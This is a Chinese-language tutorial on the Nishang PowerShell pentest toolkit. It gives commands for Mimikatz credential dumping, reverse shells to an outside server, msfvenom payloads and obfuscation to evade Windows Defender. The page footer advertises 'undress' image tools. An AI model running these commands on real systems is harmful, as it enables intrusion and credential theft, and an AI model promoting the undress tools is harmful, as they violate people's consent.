PowerShell滲透測試利器Nishang怎麼用
初始PowerShell,首先我們先來了解概念:PowerShell可以當做是cmd(bat腳本語言)的升級版,它是Windows平台上的腳本語言。是面向對象,是和 .Net FrameWork 密切相關的。也可以認為是Windows上的bash shell。 Windows PowerShell 是一種命令列外殼程式和腳本環境,可讓命令列使用者和腳本編寫者利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示字元和 Windows Host 環境中獲得的知識和建立的腳本。程式碼運行在記憶體中可以不去接觸磁碟 很多安全產品並不能監控到powershell的活動 cmd.exe通常被阻止運行,但是powershell不會。其實我們在滲透測試過程中需要繞過一些防護軟體,除了繞過腳本或其它的工具以外,PoweShell工具其實也是一個不錯的選擇。例如,我們在目標主機上面用密碼抓取神奇mimikatz,這款由法國大牛寫的神奇相比大家都常用,最屌指出是可以直接從lsass.exe 裡獵取windows處於active狀態帳號明文密碼。但是如果免殺做的不好的話,也會直接被某免殺全家桶給直接pass。利用Powershell,攻擊者可以在無需接觸磁碟的情況下執行命令。以下介紹幾個比較使用的工具:
Nishang簡介
Nishang是基於PowerShell的滲透測試專用工具,它整合了腳本和各種payload,例如抓取密碼、埠掃描、提權等。這款工具小白在日常滲透測試中使用次數較多的工具。首先我們要下載這個工具,下載的網址:https://github.com/samratashok/nishang, 下載完畢後我們可以看到以下工具裡面都包含一些什麼
下面我們透過特定的實驗環境來示範滲透測試過程中常用的模組,在示範之前需要說明幾個在執行powershell工具時遇到的幾個比較常見的錯誤,例如執行腳本的權限問題、導入模組的問題等。
Powershell在首次導入模組的時候是不允許的,因為預設的策略是不允許的,這時候我們需要將執行策略改為允許的,就是所謂的remotesigned。
我們查詢目前的執行策略是什麼,Restricted是不被允許執行任何腳本的,即使你是管理員權限。我們需要修改權限,執行指令:
Set-ExecutionPolicy remotesigned,我們再次查詢目前的執行策略的時候就是remotesigned可被允許的,再次導入腳本就會成功,出現的警告提示不用理會。
執行檢視匯入的模組中的腳本資訊:Get-Command -Module nishang
列出本機的資訊: Get-Information
現在我們也把執行權限修改了,下面就開始我們示範之旅吧。
密碼抓取來一波
當我們拿到一台伺服器的時候,我們需要知道目標主機是實體機還是虛擬機,執行指令:Check -VM
先說明一下,nishang裡面也整合了抓取密碼的腳本,先抓取一下hash值:
#Get-PassHashes / /簡單直接的抓取,並顯示在dos介面;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out- File hash.txt}" //取得hash值並儲存於自訂的文件中。
既然能抓取hash值,那我們也可以抓取明文密碼,我們先看一下抓取密碼的腳本,可以看出也是運用了Mimikatz這個工具,只不過是加載了Powershell的腳本裡面。
我們可以用以下指令來取得明文密碼:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 嘗試直接抓取目前系統使用者的明文密碼。 (最常用的指令)
連接埠反彈搞一波
在滲透測試中我們在做端口轉發的時候遇到一系列的查殺全家桶,nc\lcx\sockes代理等時不時的被殺軟截胡。那麼這個時候我們可以利用nishang中的連接埠轉送腳本進行。這裡除了介紹一下自帶的連接埠轉發,也實驗一下配合MSF進行連接埠轉發,都需要一台公網伺服器。
1、TCP埠轉送(反向連線)
公網伺服器上面執行監聽指令:nc -lvp 5555
目標主機執行埠轉送指令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
#這樣我們分別在目標主機和公網上面執行命令後,公網伺服器就會反彈一個shell,這樣我們就可以執行內網伺服器的命令。
2、UDP連接埠轉送(反向連線)
公網伺服器上面執行監聽指令:nc -lup 6666
目標主機執行連接埠轉送指令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
#除了反向連接,也有正向連接,本小白在滲透測試中經常使用到反向連接,如果大佬們對正向連接感興趣的話可以去搞一搞。好了我們現在利用powershell與MSF進行連接埠轉發,首先我們先利用指令查詢MSF中是否有powershell這個模組:
##msfvenom -l payloads |grep 'reverse_powershell //查詢powershell模組的位置。
我們利用MSF產生一條反彈連接埠的一條指令:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx .xxx.115 lport=9999 r //產生payload,類型是Powershell,標紅的一段是需要在目標主機上面執行的指令。
下一步我們在目標主機上面執行剛才產生的powershell指令,在公網伺服器監聽9999埠。這樣我們就可以成功的將目標主機的shell反彈到公網伺服器上面。
我們也會這樣想我們如何在目標主機上面利用混淆處理繞過Windows Defender,因為我們在產生的普通的有效載荷會被Windows Defender進行查殺的,所以我們需要繞過這個檢查的機制。我們就以上面的有效載荷為例子做混淆處理來繞過Windows Defender。有的時候我們將自己產生的普通的有效載荷直接在目標主機上進行運行,可能被Windows Defender直接截胡,做混淆處理的工具當屬Daniel Bohannon提供的Invoke-Obfuscation了。該專案的Github頁面可以找到。
首先我們先啟動一下Invoke-Obfuscation這個工具:
Import-Module ./Invoke-Obfuscation.psd1 //匯入Invoke-Obfuscation.psd1;
Invoke-Obfuscation //啟動Invoke-Obfuscation工具;
有效載荷的哪些部分需要混淆,我們必須事先規定好,可以透過以下命令完成:
Set scriptblock '有效載荷';
Cobalt Strike 一款以Metasploit為基礎的GUI框架式滲透測試工具,整合了連接埠轉送、服務掃描,自動化溢出,多模式連接埠監聽, exe、powershell木馬生成等。這個工具也是內部網路滲透的利器,我們這裡只是說一下powershell與Cobalt Strike能夠碰觸怎樣的火花?
Cobalt Strike需要分別在客戶端和伺服器端安裝,然後在啟動此工具:
# #首先我們先監聽一個端口,主機位址寫公網IP位址,然後就會產生一個powershell命令,將此命令在目標主機上面運行,目標主機就會上線,然後我們就可以遠端抓取密碼、提權、監聽等操作:
說實話這是這兩個工具我這裡擦出的火花只是一點點,其餘的操作還有許多,有興趣的大佬可以去研究一下,這個工具在內網滲透中運用的比較多。
以上是PowerShell滲透測試利器Nishang怎麼用的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

熱門話題

什麼是 ISO 檔? ISO 檔案是一種包含光碟(例如 DVD 或 CD)的精確副本的檔案。這種類型的光碟映像可以安裝在您的電腦上,看起來就像您的電腦上連接了一個光碟機,光碟中插入了包含資料的 CD 或 DVD。 ISO 檔案也可用於刻錄建立它們的 DVD 或 CD 的新副本,或只是將大量檔案包含在一個易於下載的單一檔案中。 ISO 檔案通常相當大;用完它們後,您很可能會想將它

如何在Windows11上以管理員身分開啟PowerShell以提升或管理員等級的權限執行PowerShell允許您執行繞過Windows檔案保護的命令,例如用於Windows安裝檔案的命令。您可以透過直接開啟PowerShell或開啟新的Windows終端應用程式來執行PowerShell,該應用程式預設使用PowerShell運行命令。在Windows11上以管理員身分開啟PowerShell:開啟開始功能表並輸入powershell或terminal。從右側的

初始PowerShell,首先我們先來了解概念:PowerShell可以當做是cmd(bat腳本語言)的升級版,它是Windows平台上的腳本語言。是面向對象,是和.NetFrameWork密切相關的。也可以認為是Windows上的bashshell。 WindowsPowerShell是一種命令列外殼程式和腳本環境,可讓命令列使用者和腳本編寫者利用.NETFramework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在Windows命令提示字元和WindowsHost環境中獲得

許多用戶報告了WindowsPowerShell停止工作或根本無法打開的問題。看到PowerShell已停止工作訊息的最常見原因之一是您的電腦上存在隱藏病毒。這反過來會減慢您的系統速度,並且系統上的其他進程將停止運行。該錯誤訊息未提供有關此問題原因的任何信息,因此難以解決。如果您對PowerShell無法在您的PC上執行或開啟問題感到惱火,那麼本文適合您。在本文中,我們討論了一些可用於修復此錯誤的解決方案。修復1–停用和重新啟用WindowsPowerShell1.使用Ctr

您在執行腳本時是否看到此錯誤訊息「Add-AppxPackage:部署失敗,HRESULT:0x80073D02,無法安裝該包,因為它修改的資源目前正在使用中。PowerShell中出現錯誤0x80073D02…」?如錯誤訊息所述,當使用者在前一個進程執行時嘗試重新註冊一個或所有WindowsShellExperienceHost應用程式時,確實會發生這種情況。我們已經獲得了一些簡單的解決方案來快速解決這個問題。修復1–終止體驗主機程序您必須在執行powershell指令之前結束

如何使用PowerShell在Windows11上啟用或停用管理員帳戶在Windows11上啟用管理員帳戶的最快方法之一是使用PowerShell。您也可以使用較新的Windows終端,或者,如果您願意,也可以使用較舊的命令提示字元(cmd)工具。您需要確保從已經具有管理員權限的使用者帳戶執行這些命令。如果您使用的是標準使用者帳戶,則需要切換到另一個使用者帳戶才能執行此工具。若要在Windows11上使用PowerShell啟用管理員帳戶:透過點選開始按鈕或按Windows鍵開啟

點擊進入:ChatGPT工具插件導航大全Git是最受歡迎的版本控制系統之一,它允許您追蹤對檔案所做的所有更改,以便在需要時可以輕鬆恢復到早期版本。 Git允許您同時擁有本機儲存庫和遠端儲存庫,鼓勵其他人協作並將所有這些變更集中到一個來源。在Windows11上安裝Git的先決條件在我們開始之前,有一些在Windows上安裝Git的先決條件。他們來了:您的Windows帳戶的管理員權限存取命令列工具(例如CMD或PowerShell)Git的使用者名稱和密碼(可選)你最喜歡的文字編輯器WSL上的Ubuntu

區別:1、運行Cmd時,只需佔用不到1M的記憶體;而用PowerShell時,需要佔用大約20M的記憶體。 2、Cmd不支援語法高亮,PowerShell支援。 3.用Cmd運行一些較為複雜、較耗時的命令時,隨意拖曳命令列視窗時,視窗中的內容依然能夠保持原樣;但PowerShell不行。 4.Cmd只能不能使用.net庫中的指令,也不能使用Linux指令;而PowerShell可以。
